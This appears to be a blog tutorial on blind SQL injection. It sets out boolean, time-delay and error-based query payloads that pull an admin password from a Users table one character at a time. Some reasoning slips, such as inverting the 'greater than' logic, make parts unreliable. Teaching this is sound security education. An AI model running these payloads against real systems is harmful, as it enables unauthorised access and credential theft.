Blind / Inferential SQL Injection

What is Blind SQL Injection?
When SQL Injection vulnerability doses do not provide results or errors of SQL query via HTTP response, it is called Blind SQL Injection. As Blind SQL Injection doesn’t give data in the response, Stack-based or UNION based attacks are useless. But still, there are some techniques, which can help to access unauthorized data.
How to exploit SQL Injection?
Let's take an example of getting product details query from an eCommerce application:

strSQL = “SELECT product_name FROM Products WHERE product_id = ” + strProductId;

Suppose strProductId is retrieved from user input and it is vulnerable to Blind SQL Injection. The following techniques may be helpful for exploitation.
1.     Conditional Responses:
Let's take a case where HTTP response depends on the result of the SQL query. Consider the following cases:

SELECT product_name FROM Products WHERE product_id = 'XYZ' UNION SELECT 'a' WHERE 1=1--

SELECT product_name FROM Products WHERE product_id = 'XYZ' UNION SELECT 'a' WHERE 1=2--

The first query will return product_name with product_id ‘XYZ’ and the second query will not return any product_name because ‘1=2’ will be always false condition.
We can use this situation to guess password of any particular user like

SELECT product_name FROM Products WHERE product_id = 'XYZ' UNION SELECT 'a' FROM Users WHERE username = 'admin' and SUBSTRING(password, 1, 1) > 'n'--

If the first letter of the password of user ‘admin’ is greater then ‘n’, it will return a product_name with product_id ‘XYZ’ otherwise we can assume it is greater then or equal to ‘n’. Let's assume it is not returning any products. So we can use the following query to make our assumption more accurate:

SELECT product_name FROM Products WHERE product_id = 'XYZ' UNION SELECT 'a' FROM Users WHERE username = 'admin' and SUBSTRING(password, 1, 1) > 'k'--

Let's assume the above query returns product_name with product_id ‘XYZ’, so we can assume that the first character is between ‘k’ and ‘n’. Now we can use queries with ‘k’, ‘l’, ‘m’, ‘n’ all and we can identify the first character. Like:

SELECT product_name FROM Products WHERE product_id = 'XYZ' UNION SELECT 'a' FROM Users WHERE username = 'admin' and SUBSTRING(password, 1, 1) = 'm'--

If the above query returns product_name, we can be assured that the first character of the password is "m". Now we can perform the same process for the second character by using SUBSTRING(password, 2, 1).
2.     Time Delays:
Let's move ahead with the same example but if the response is the same for all conditions, we can use time delays. SLEEP in MySQL and Oracle or WAITFOR DELAY in MSSQL. The following example is for MySQL which uses SLEEP function.

SELECT product_name FROM Products WHERE product_id = 'XYZ'; IF (SELECT COUNT(username) FROM Users WHERE username = 'admin' AND SUBSTRING(password, 1, 1) > 'n') = 1, sleep(10),'a''-- 

If we get a time delay of 10 seconds in response time, we can be assured that the first character of the password is greater than ‘n’. We can move on with more queries as explained in the first section.
3.     SQL Errors:
The exploitation of Blind SQL Injections are also possible with one more way. In this way an attacker can trigger condition based SQL error like “Divide by Zero”. Please look at the following example which demonstrates the error triggering on conditional bases.

SELECT product_name FROM Products WHERE product_id = 'XYZ' UNION SELECT CASE WHEN (username = 'admin' and SUBSTRING(password, 1, 1) > 'n') THEN 1/0 ELSE NULL END FROM users-- 

If we get an exception message or any message which looks like exception handling, we can be assured that the first character of the password is greater than ‘n’. We can move on with more queries as explained in the first section.

0 Comments